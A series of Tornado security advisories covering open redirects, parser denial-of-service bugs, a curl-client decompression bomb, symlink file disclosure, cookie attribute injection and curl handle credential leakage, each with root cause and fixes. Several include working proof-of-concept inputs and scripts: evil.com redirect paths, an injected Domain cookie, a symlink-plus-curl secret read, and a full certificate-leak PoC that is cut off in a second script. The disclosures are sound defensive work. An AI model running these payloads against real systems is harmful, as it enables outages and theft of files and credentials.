• A substitution at the start of the path, for example (r"/(.*)/target", RedirectHandler, {"url": "/{0}/destination"}). A request to https://example.com//evil.com/target redirects to //evil.com/destination, a protocol-relative URL pointing to evil.com. Variants using backslashes or encoded characters have the same effect, because browsers treat them as equivalent to //.
• A substitution directly after the host, for example (r"/old(.*)", RedirectHandler, {"url": "https://new.example.com{0}"}). A request to /old.evil.com/ or /old@evil.com/ redirects to evil.com.
• A template that begins with a substitution (such as "{0}"), which can be given an absolute URL.

Applications are not affected if their RedirectHandler templates use only static URLs, or if every substitution comes after a fixed host and a / (for example "/static/{0}" or "https://example.com/{0}"). Other uses of RequestHandler.redirect() are not affected by this advisory, although applications that pass user-controlled input to redirect() should validate it themselves.

Patches

Fixed in Tornado 6.6. RedirectHandler now returns a 400 error if the substituted values would change the scheme or host of the redirect from what the template specifies. As a result, substitutions can no longer be used in the scheme or host part of a template. The similar check in StaticFileHandler has also been hardened against backslash and whitespace variants.

Workarounds

• Change RedirectHandler templates so every substitution comes after a fixed prefix ending in /, or write capture-group regexes that cannot match characters such as /, \, @, . or : where they could affect the host.
• Alternatively, replace RedirectHandler with a custom handler that validates the target before calling self.redirect().

Credit

Reported by Longwei Wang (@gn00295120).

Summary

Tornado's HTTP header parser takes quadratic time (O(n²)) when a header value is continued across many "obsolete line folding" (obs-fold) lines. An unauthenticated attacker can send a request whose header block is mostly short continuation lines. Parsing it uses a large amount of CPU on the IOLoop thread and blocks every other connection that process is serving.

This issue is closely related to CVE-2025-67725 (GHSA-c98p-7wgm-6p64). The fix for that advisory covered repeated headers but not line-folded continuations.

Impact

All Tornado HTTP servers are affected. Header parsing runs before any application code, so no authentication or particular handler is required.

How bad it gets depends on max_header_size:

• Default (64 KB): each malicious request blocks the event loop for tens of milliseconds. Repeated requests can degrade service.
• Raised max_header_size: the cost grows with the square of the header size. A single 1 MB request can block the process for several seconds.

Only availability is affected. Confidentiality and integrity are not.

Patches

Fixed in Tornado 6.6 by removing support for obsolete line folding completely; header lines that begin with whitespace are now rejected.

Workarounds

• Keep max_header_size at its default value or lower it. This limits the impact but doesn't remove it.
• Run Tornado behind a reverse proxy that rejects or normalizes obsolete line folding before forwarding requests.

Credit

Reported by @manus-pi.

Summary

HTTPServerRequest.__init__ in tornado/httputil.py parses the URL query string via parse_qs_bytes() with no field-count limit — while the sibling POST-body parsing path (parse_body_arguments) received a max_num_fields=1000 cap added earlier in this exact same release (v6.5.8, commit 8d6363ed), explicitly to bound parsing cost for the identical underlying primitive. This leaves the query-string path with the resource-exhaustion exposure the body-path fix was meant to close.

File: tornado/httputil.py, line 553 (HTTPServerRequest.__init__)

Root Cause

# tornado/httputil.py:553 (before fix)
self.arguments = parse_qs_bytes(self.query, keep_blank_values=True)

Compare with the POST-body path fixed one commit earlier in the same release:

# tornado/httputil.py:1038-1041
uri_arguments = parse_qs_bytes(
    body,
    keep_blank_values=True,
    max_num_fields=config.urlencoded.max_arguments,  # default 1000
)

Both call sites funnel through the same tornado.escape.parse_qs_bytes (a thin wrapper over urllib.parse.parse_qs), which is exactly why max_num_fields was added to urllib.parse.parse_qsl upstream — to let frameworks bound field count. The fix was applied only to the body path; the query-string path was missed.

The request line + headers together are capped at max_header_size (default 65536 bytes), so this is not literally unbounded, but a single ~64KB request line can carry thousands of short key=value pairs — far beyond the 1000-field limit the maintainer judged appropriate for the structurally identical body case.

Attack Scenario

1. Attacker sends a GET request whose query string is packed with thousands of short fields (e.g. k0=1&k1=1&...&k7799=1, ~61KB), fitting comfortably under max_header_size. No authentication, cookies, or prior state required.
2. Tornado accepts and parses this with no field-count cap, unlike the equivalent POST-body request (which is correctly rejected with 400 once >1000 fields are present).
3. Parsing thousands of fields is CPU work performed synchronously inside Tornado's single-threaded IOLoop. Several such requests in flight concurrently stall the event loop, delaying processing of all other connections on that loop — not just the attacker's own request.

Verification (dynamic, local reproduction against v6.5.8)

Ran the unmodified v6.5.8 source directly (no external dependencies needed) with a minimal tornado.web.Application on 127.0.0.1:8888.

• Identical 7800-field/~61KB payload sent as GET query string → 200 OK; sent as POST body (application/x-www-form-urlencoded) → 400 Bad Request (correctly rejected by the existing max_num_fields body-path limit). This confirms the asymmetry directly.
• Per-request parse cost: baseline (/?a=1) averaged 1.86ms; the 7800-field query string averaged 25.1ms (~13x).
• Event-loop-blocking amplification (raw-socket test, isolating server-side stall from client overhead): with 10 sequential baseline probe requests fired with no load, average latency was 1.47ms (max 5.9ms). With 5 concurrent 61KB/7800-field requests in flight, the same baseline probes averaged 13.0ms (max 118.1ms) — an 8.9x average slowdown for unrelated clients, produced by ~305KB of unauthenticated attacker traffic.

Impact

All Tornado servers/applications are affected — this triggers on every request with a query string, independent of application/handler logic. An unauthenticated, unprivileged remote attacker can measurably degrade response times for all other clients sharing the same IOLoop, using a small amount of bandwidth and no special conditions. This is an availability/DoS concern; no confidentiality or integrity impact.

Recommended Fix

# tornado/httputil.py — HTTPServerRequest.__init__
if uri is not None:
    self.path, sep, self.query = uri.partition("?")
try:
    self.arguments = parse_qs_bytes(
        self.query,
        keep_blank_values=True,
        max_num_fields=_DEFAULT_PARSE_BODY_CONFIG.urlencoded.max_arguments,
    )
except ValueError as e:
    raise HTTPInputError("Invalid query string: %s" % e) from e

This reuses the existing ParseUrlEncodedConfig.max_arguments default (1000) via the module's _DEFAULT_PARSE_BODY_CONFIG, matching the POST-body limit and honoring any global override via set_parse_body_config(). The try/except is necessary because — unlike parse_body_arguments, which already wraps its call and converts ValueError into a clean HTTPInputError/400 — the query-string call site currently has no such handling, so without it, a request exceeding the limit would raise an uncaught ValueError instead of a clean 400.

Verified: with the fix applied, requests with ≤1000 query-string fields are unaffected; requests with >1000 fields are rejected with 400 Bad Request (consistent with the POST-body behavior); Tornado's own httputil_test and web_test suites (256 tests) pass unchanged.

An unbounded memory accumulation (decompression bomb) in tornado.curl_httpclient.CurlAsyncHTTPClient — the client-side sibling gap of CVE-2026-49855 — verified end-to-end on the 2026-08-15 master snapshot (6.6.dev1) and present unchanged in the latest release tag v6.5.8 and on master (checked 2026-08-17). When a Tornado application configures the curl client (the documented deployment for proxy support / advanced TLS options) and fetch()es an attacker-chosen or attacker-compromised URL with default decompress_response=True, a malicious server replying Content-Encoding: gzip with a ~2.8 MB wire bomb drove the client's RSS from 30,884 kB to 1,032,100 kB (~1008 MB) in 3.18 s (~350 MB/s, monotonic, no plateau) until the kernel OOM-killed the process (exit 137, cgroup OOMKilled=true) — with the transfer only 67% complete and no client-side size check ever intervening: curl_httpclient.py contains zero occurrences of max_body_size/MAXFILESIZE. The identical bomb against the default SimpleAsyncHTTPClient fails cleanly at ~65 MB, because every size gate CVE-2026-49855 added (compressed CL, chunked total, cumulative decompressed size — http1connection.py:620,676,742) lives in code the curl client never executes. This is a distinct component from the published advisory (which fixed _GzipMessageDelegate/SimpleAsyncHTTPClient only) and from the other curl-client advisories (credential handle-reuse GHSA-pw6j-qg29-8w7f, header CRLF GHSA-w235-7p84-xx57); the file's full commit history (latest 2026-06-17) shows no response-size work.

Details

tornado/curl_httpclient.py (line numbers identical on master 6.6.dev1, v6.5.8, and the audited snapshot):

"buffer": BytesIO(),                                  # :202 — plain BytesIO, no accounting
...
else:
    write_function = buffer.write                     # :359 — every decompressed byte lands here
curl.setopt(pycurl.WRITEFUNCTION, write_function)     # :360
...
if request.decompress_response:                       # default True (HTTPRequest)
    curl.setopt(pycurl.ENCODING, "gzip,deflate")      # :373-374 — libcurl advertises + auto-decodes

libcurl decompresses the response before invoking WRITEFUNCTION, so the callback receives decompressed bytes, which are appended to an unbounded BytesIO until the transfer ends or the process dies. The only ceiling is request_timeout (default 20 s) — at zlib's hundreds of MB/s that still permits many GB of accumulation; the PoC raised it to 300 s and the 1 GiB cgroup cap was hit in 3.2 s regardless. There is no pycurl.MAXFILESIZE, no max_buffer_size/max_body_size plumbing (the constructor accepts no body-size option), and streaming_callback users fare no better (the callback variant at :353-356 also performs zero accounting).

Contrast — SimpleAsyncHTTPClient path (tornado/http1connection.py), all absent from the curl path:

if cast(int, content_length) > self._max_body_size:        # :620  Content-Length gate
if total_size > self._max_body_size:                       # :676  chunked total gate
if self._decompressed_body_size > self._max_body_size:     # :742  CVE-2026-49855 decompressed gate

SimpleAsyncHTTPClient.initialize() defaults max_buffer_size = 104857600 (100 MiB) with max_body_size defaulting to it (simple_httpclient.py:117-121); CurlAsyncHTTPClient.initialize() has no corresponding parameter at all.

Attack chain (attacker = malicious HTTP server; victim = any Tornado app doing fetch() on attacker-influenced URLs — URL fetchers, webhook processors, link previewers, RSS/probe pollers):

1. App configures AsyncHTTPClient.configure("tornado.curl_httpclient.CurlAsyncHTTPClient") (documented for proxy support; proxies are only supported with the curl client).
2. App calls fetch("http://attacker/...") with defaults → request advertises Accept-Encoding: gzip,deflate.
3. Attacker replies 200, Content-Encoding: gzip, Transfer-Encoding: chunked, body = a gzip stream of zeros (4,174,525 wire bytes expanding to 4 GiB, 1029:1, sent in 64 KB chunks).
4. libcurl auto-decodes at ~350 MB/s into buffer.write with no size accounting → process RSS climbs linearly until OOM. The response need not complete: the client died with 2,818,048/4,174,525 wire bytes delivered (67%).

Variant without compression: decompress_response=False plus an endless streaming body (no Content-Length, no final chunk) feeds the same unaccounted buffer.write — this client never enforces any cap on any path.

PoC

Verified end-to-end 2026-08-15 in a single container (cgroup --memory 1g --memory-swap 1g so the exhaustion endpoint is safe and fast to observe), two processes over a real TCP socket on 127.0.0.1:8081: a raw-socket malicious server (evil_server.py, builds the 4 GiB-of-zeros gzip bomb once, serves it with chunked framing) and the Tornado victim (victim_curl.py, configures CurlAsyncHTTPClient, fetch(..., request_timeout=300), samples /proc/self/status VmRSS every 0.2 s from a monitor thread so the curve survives the OOM kill).

Build & run the victim

git clone https://github.com/tornadoweb/tornado
cd tornado
pip install pycurl
python evil_server.py &     # 127.0.0.1:8081; prints BOMB_BUILT wire_bytes=... ratio=... EVIL_LISTENING
python victim_curl.py       # victim: CurlAsyncHTTPClient fetch -> expect linear RSS rise -> OOM
python victim_simple.py     # control: default SimpleAsyncHTTPClient on the same bomb

Verified environment: debian:bookworm-slim, Python 3.11.2, python3-pycurl 7.45.2 (libcurl 7.88.1, zlib 1.2.13), tornado master snapshot 6.6.dev1 of 2026-08-15 run from the source tree (sys.path), container memory capped at 1 GiB. curl_httpclient.py verified byte-equivalent (still zero size-limit references) in tag v6.5.8 and on master as of 2026-08-17.

Reproduction steps

1. Precondition — the documented curl-client deployment fetching a remote URL. The vulnerability requires the application to use CurlAsyncHTTPClient (the standard configuration when proxy support or advanced TLS options are needed) with default decompress_response=True, and to fetch a URL whose server the attacker controls or has compromised. victim_curl.py implements exactly that (AsyncHTTPClient.configure("tornado.curl_httpclient.CurlAsyncHTTPClient") → fetch()), and the server log confirms the ENCODING path engaged — the victim's request arrived with User-Agent: Mozilla/5.0 (compatible; pycurl) and Accept-Encoding: gzip,deflate.

2. Attack: start evil_server.py, wait for EVIL_LISTENING, then run victim_curl.py (the fetch itself is the attack; no further interaction).

3. Expected: victim_curl_rss.log shows VmRSS 30,884 → 1,032,100 kB over 3.18 s, rising ~350 MB/s with no plateau; the container kills the victim (exit 137, docker OOMKilled=true); the server logs CLIENT_DIED_MID_TRANSFER wire_sent=2818048/4174525 — the accumulation is bounded only by available memory, never by a client-side check, and the 4 GiB payload was never fully delivered.

4. Variant: with decompress_response=False and an unterminated chunked body (server keeps sending forever), the same buffer.write path accumulates unbounded plain bytes — no compression needed; request_timeout only extends the ceiling.

5. Control: victim_simple.py fetches the identical bomb with the default SimpleAsyncHTTPClient → clean FETCH_FAILED: HTTP 599: Connection closed, RSS peak ~65 MB (24,984 → 66,712 kB), script exit 0 — the CVE-2026-49855 accounting in http1connection.py aborts the transfer, proving the gap is specific to the curl client.

PoC source

Full PoC source (victim_curl.py, stdlib only, no dependencies): victim_curl.py (secret gist, unlisted).

The gist carries evil_server.py (bomb server), victim_curl.py (victim), victim_simple.py (control), and REPRODUCE.md.

Captured output (2026-08-15 run, verbatim excerpts)

evil_server.log:
BOMB_BUILT wire_bytes=4174525 decompressed_bytes=4294967296 ratio=1029:1
EVIL_LISTENING 127.0.0.1:8081
REQUEST_FROM 127.0.0.1:57544 -> GET /bomb HTTP/1.1
REQUEST_HEADERS:
GET /bomb HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
WIRE_SENT 65536/4174525
WIRE_SENT 2162688/4174525
CLIENT_DIED_MID_TRANSFER wire_sent=2818048/4174525 err=ConnectionResetError(104, 'Connection reset by peer')

victim_curl_rss.log (VmRSS kB, every 0.2 s):
0.00  30884
0.61  231848
1.41  514720
2.22  794480
2.82 1000756
3.18 1032100        <- last sample before kill

driver_f1.log:
timeout 240 python3 /e2e/F1/victim_curl.py ...  606 Killed
VICTIM_CURL_EXIT=137         # docker inspect -> OomKilled: true

victim_simple.log (control, same bomb):
FETCH_FAILED: HTTP 599: Connection closed
SCRIPT_FINISHED_NORMALLY     # exit 0, VmRSS peak 66712 kB

Honest framing of the endpoint: the OOM kill at ~1008 MB was forced by the test's 1 GiB cgroup cap as the observation instrument; the "unbounded" claim rests on the linear no-plateau RSS curve, death at 67% wire delivery, and the absence of any size accounting in the code path — with more memory the transfer would have continued to the full 4 GiB payload.

Impact

Denial of service (memory exhaustion) of any Tornado application that uses the curl HTTP client and fetches attacker-influenced URLs. A single ~4 MB response kills a 1 GiB process in ~3 s; wire cost scales as available_memory / 1000. Because the accumulation happens on the shared event loop's client, one malicious response takes down the entire application (all concurrently served users), and a slow endless-body variant drains memory gradually below detection thresholds. The attack requires no privileges, no user interaction, and only that the victim's configured client visits the attacker's origin.

Suggested fix

Enforce a byte budget in the write path of CurlAsyncHTTPClient: wrap the WRITEFUNCTION (both the buffer.write branch and the streaming_callback branch) in a counter that aborts the transfer (curl.setopt(pycurl.FAILONERROR)-style cancellation or raising from the callback) once the received total exceeds max_body_size, plumbed from initialize() with the same 100 MiB default as SimpleAsyncHTTPClient. Because libcurl decompresses before the write callback, the counter naturally measures decompressed bytes — the same semantics as the CVE-2026-49855 fix. (pycurl.MAXFILESIZE alone is insufficient: it applies to the compressed transfer size.)

Affected versions

• <= 6.5.8 (latest tag; the curl client has never had a response-size limit) and master (6.6.dev1, verified 2026-08-15/17).
• 6.5.6's CVE-2026-49855 fix covered SimpleAsyncHTTPClient/http1connection.py only; curl_httpclient.py was not touched.

Credit

Reported by the diff/ambidiff security research effort (afldl).

Summary

StaticFileHandler allows an unauthenticated attacker to read arbitrary files from the server's filesystem by requesting a path that resolves to a symbolic link placed inside the static root directory. Any application that serves user-uploadable content, or whose static directory is populated by a build/deploy pipeline that creates symlinks (e.g. npm link, webpack, Docker volume mounts, CDN sync tools), is affected. An attacker who can trigger the creation of a symlink pointing outside the static root—or exploit one that already exists—can retrieve sensitive files such as /etc/passwd, private keys, configuration files, or application secrets.

Details

The vulnerability is in tornado.web.StaticFileHandler, specifically in the interaction between two methods in tornado/web.py:

• get_absolute_path uses os.path.abspath() to resolve the requested path:
• validate_absolute_path uses the same os.path.abspath() on the root, then performs a string prefix check:

os.path.abspath() normalises . and .. segments but does not resolve symbolic links. As a result, a path like /var/www/static/link passes the startswith("/var/www/static/") check regardless of where link actually points.

Immediately after, os.path.exists() and os.path.isfile() do follow symlinks, so the file they ultimately open is the symlink's target. The fix would be to replace os.path.abspath() with os.path.realpath() in both methods, so the resolved real path of the symlink target is validated against the root, not just its string representation inside the static directory.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability. Prerequisites: Python 3.x, Tornado installed.

1. Create the environment

mkdir -p /tmp/static
echo "DB_PASSWORD=s3cr3t" > /tmp/secret.conf   
ln -s /tmp/secret.conf /tmp/static/config.conf 

2. Minimal vulnerable server (server.py):

import tornado.web, tornado.ioloop

app = tornado.web.Application([
    (r"/static/(.*)", tornado.web.StaticFileHandler, {"path": "/tmp/static"}),
])
app.listen(8888)
tornado.ioloop.IOLoop.current().start()

3. Exploit: curl http://localhost:8888/static/config.conf

Impact

Any application using StaticFileHandler is potentially affected if:

• the static directory contains symlinks pointing outside it (common with build tooling), or
• the application allows file uploads into the static directory without stripping symlinks.

An unauthenticated remote attacker can read any file readable by the process user: application secrets, private TLS keys, database credentials, /etc/shadow, SSH keys, or source code (depending on the process's filesystem permissions).

Summary

Tornado parses application/x-www-form-urlencoded bodies with urllib.parse.parse_qs and does not pass max_num_fields. A body made almost entirely of separators produces tens of millions of fields, and the parse happens on the event loop before the handler runs, so a single request stalls the whole server.

Where it is

tornado/escape.py, at HEAD e530031405e2154654dedc4c84d5656b557ea310:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict"
)

max_num_fields is the parameter CPython added for exactly this, and it is absent.

The path to it is entirely server-side and pre-dispatch. RequestHandler._execute parses the body at tornado/web.py:1821, which reaches HTTPServerRequest._parse_body at tornado/httputil.py:636, and the urlencoded branch of parse_body_arguments calls parse_qs_bytes at tornado/httputil.py:1030.

The size that reaches it is bounded only by the body cap, which defaults to the stream's max_buffer_size of 104857600 at tornado/iostream.py:239, applied as the request body default at tornado/http1connection.py:136-140. A 100 MB body of separators is around fifty million fields.

Impact

Denial of service against the whole process, not one request. Tornado is single-threaded and the parse is synchronous on the event loop, so every other connection waits. No authentication is needed if any route accepts a form post, which is the normal case.

Suggested fix

Pass a bound:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict",
    max_num_fields=max_num_fields,
)

with a conservative default and a way for applications to raise it. CPython raises ValueError when the limit is exceeded, which maps cleanly onto a 400.

Lowering the default body cap for urlencoded specifically would help too, since 100 MB of form fields is not a shape any real client sends.

Why I do not think this is a duplicate

The published tornado advisories cover out-of-bounds access in the C extension, unbounded accumulation of decompressed chunks in AsyncHTTPClient, the Authorization header surviving cross-origin redirects, credential leakage on curl handle reuse, and cookie attribute validation. The decompression one is the nearest in spirit and is on the client side; this is the server parsing a request body. The call is unchanged at HEAD.

Description

Summary

parse_multipart_form_data (httputil.py:34) calls data.split(b"--"+boundary+b"\r\n") before the max_parts check (:35). A 600KB body with 100k parts creates a 100k-element transient list first, then rejects transient memory amplification (each split element is a copy). Pre-auth HTTP DoS.

Root cause

parts = data[:final_boundary_index].split(b"--" + boundary + b"\r\n")  # :34  huge list first
if len(parts) > config.max_parts:                                       # :35  check after
    raise HTTPInputError("multipart/form-data has too many parts")

PoC

gist: https://gist.github.com/afldl/649861f25d39b53b7edbe0298e171617 poc.py + output.txt (100k parts from 600KB transient list).

Fix

Count separators without materializing the list (e.g. data.count(b"--"+boundary) first).

Credit

Reported by afldl, 2026-07.

Summary

The CVE-2026-35536 fix added a validation loop that rejects [\x00-\x20\x3b\x7f], but only for the hardcoded lowercase keys name/domain/path/samesite. The still-live deprecated **kwargs path writes attacker-supplied attribute values straight into the Morsel with no validation, and because Morsel.__setitem__ is case-insensitive, a capitalized kwarg (Domain=, Path=, SameSite=, Max-Age=) routes to the same reserved attribute while bypassing the loop — re-opening ;-delimited attribute injection.

self.set_cookie("sid", "abc", Domain="evil.com; Secure; SameSite=None")
#  -> Set-Cookie: sid=abc; Domain=evil.com; Secure; SameSite=None; Path=/
# Sanity (the canonical lowercase named arg IS blocked):
self.set_cookie("sid", "abc", domain="evil.com; Secure")   # -> http.cookies.CookieError

The patch's regression test (SetCookieForbiddenCharHandler) only exercises the four named params, never the **kwargs path, so the gap is not regression-covered.

Affected code

• tornado/web.py → RequestHandler.set_cookie: the validation loop covers only the lowercase named args; the trailing if kwargs: loop does morsel[k] = v with no character validation.

Steps to reproduce

GET /upper (uses Domain= kwarg) emits Set-Cookie: c_upper=v; Domain=evil.com; Secure; SameSite=None; Path=/; GET /lower (uses lowercase domain=) returns a CookieError.

Impact

Injection of independent cookie attributes (force/drop Secure/HttpOnly/SameSite, rebind Domain/Path) — the same impact CVE-2026-35536 closed, via the sibling path the patch missed. Conditional on the app using a capitalized/legacy keyword.

Suggested remediation

Apply the same [\x00-\x20\x3b\x7f] validation to every entry in the **kwargs loop (after normalizing the key case), or remove the deprecated kwargs path; add a regression test for capitalized kwargs.

Credit

Reported as part of an incomplete-patch measurement study (responsible disclosure).

CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Summary

CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does not reset them between requests, and several per-request options are applied with no clearing branch. As a result, sensitive state set by one request persists onto a later request on the same client that does not set it. Two credential vectors are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy basic-auth credentials (PROXYUSERPWD) — both leaking to a different, unintended host. This affects all released versions through 6.5.6.

Details

In tornado/curl_httpclient.py, handles are created once and returned to a free list for reuse (_process_queue pops the handle at line 200, _finish re-appends it at line 245), and _curl_setup_request is never preceded by curl.reset(). The function clears some carried-over state on the reused handle — unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD) when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) — but other options have no equivalent clearing path and persist until a later request sets them again.

Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing branch:

# tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)

if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)

A request that sets client_cert leaves the certificate on the handle; a later request without client_cert presents it during its TLS handshake.

Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only inside the credentials branch and unset only in the no-proxy else branch:

# tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
    curl.setopt(pycurl.PROXY, request.proxy_host)
    curl.setopt(pycurl.PROXYPORT, request.proxy_port)
    if request.proxy_username:                 # only place PROXYUSERPWD is set
        ...
        curl.setopt(pycurl.PROXYUSERPWD, credentials)
    ...
else:
    try:
        curl.unsetopt(pycurl.PROXY)
    except TypeError:
        curl.setopt(pycurl.PROXY, "")
    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset

A request that sets a new proxy_host without proxy_username updates PROXY/PROXYPORT but never reaches the else, so the previous request's credentials persist and are sent to the new proxy.

The same class also affects INTERFACE (lines 365-366: set only when request.network_interface is truthy, with no clearing branch), which is a lower-severity instance — a later request can be bound to a network interface it did not request. A single fix addresses all three (see Mitigation).

PoC

Both reproduce against the pinned release using public API only (CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).

Vector A — client TLS certificate

The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse.

python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py

import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading

from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


def _key():
    return rsa.generate_private_key(public_exponent=65537, key_size=2048)


def _ca():
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert, key


def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    now = datetime.datetime.now(datetime.timezone.utc)
    b = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(ca_cert.subject)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
    )
    if ips:
        b = b.add_extension(
            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
            critical=False,
        )
    if client:
        b = b.add_extension(
            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
        )
    return b.sign(ca_key, hashes.SHA256()), key


def _pem(path, cert, key=None):
    with open(path, "wb") as fh:
        fh.write(cert.public_bytes(serialization.Encoding.PEM))
        if key is not None:
            fh.write(key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))


class TLSServer:
    def __init__(self, srv_pem, ca_pem, require):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        self.ctx.load_cert_chain(srv_pem)
        self.ctx.load_verify_locations(ca_pem)
        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                s = self.ctx.wrap_socket(conn, server_side=True)
                self.captures.append(s.getpeercert() or None)
                try:
                    s.recv(4096)
                    s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
                except Exception:
                    pass
                s.close()
            except Exception:
                self.captures.append("handshake-failed")
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def _cn(peer):
    if not peer or not isinstance(peer, dict):
        return None
    for rdn in peer.get("subject", ()):
        for k, v in rdn:
            if k == "commonName":
                return v
    return None


async def main():
    with tempfile.TemporaryDirectory() as tmp:
        ca_cert, ca_key = _ca()
        s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
        s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
        cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)

        ca_pem = os.path.join(tmp, "ca.pem")
        s1_pem = os.path.join(tmp, "s1.pem")
        s2_pem = os.path.join(tmp, "s2.pem")
        cert_pem = os.path.join(tmp, "client.crt")
        key_pem = os.path.join(tmp, "client.key")
        _pem(ca_pem, ca_cert)
        _pem(s1_pem, s1_cert, s1_key)
        _pem(s2_pem, s2_cert, s2_key)
        _pem(cert_pem, cli_cert)
        with open(key_pem, "wb") as fh:
            fh.write(cli_key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

        s1 = TLSServer(s1_pem, ca_pem, require=True)
        s2 = TLSServer(s2_pem, ca_pem, require=False)
        try:
            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await clean.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/baseline",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            clean.close()

            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s1.port}/internal-mtls",
                client_cert=cert_pem, client_key=key_pem,
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/other-host",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await asyncio.sleep(0.2)
            client.close()
        finally:
            s1.stop()
            s2.stop()

        baseline = _cn(s2.captures[0]) if s2.captures else None
        leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None

        print(f"{'scenario':<48}{'cert presented to server 2'}")
        print(f"{'-' * 48}{'-' * 28}")
        print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
        print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
        print()
        print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
        print()
        if baseline is None and leaked == "trusted-client":
            print("VERDICT: VULNERABLE — the client certificate from request A was "
                  "presented to server 2 on request B, which specified none.")
            return 0
        print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
        return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (pip show tornado → 6.5.6, installed in the venv):

scenario                                        cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert          None
exploit: reused handle (A had client_cert)      'trusted-client'

(sanity) server 1 (mTLS required) saw: 'trusted-client'

VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.

Vector B — proxy credentials

Each proxy is a separate listener capturing the raw request bytes.

./venv/bin/python poc_proxy_creds.py

import asyncio
import base64
import socket
import sys
import threading

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


class CapturingProxy:
    def __init__(self):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                data = b""
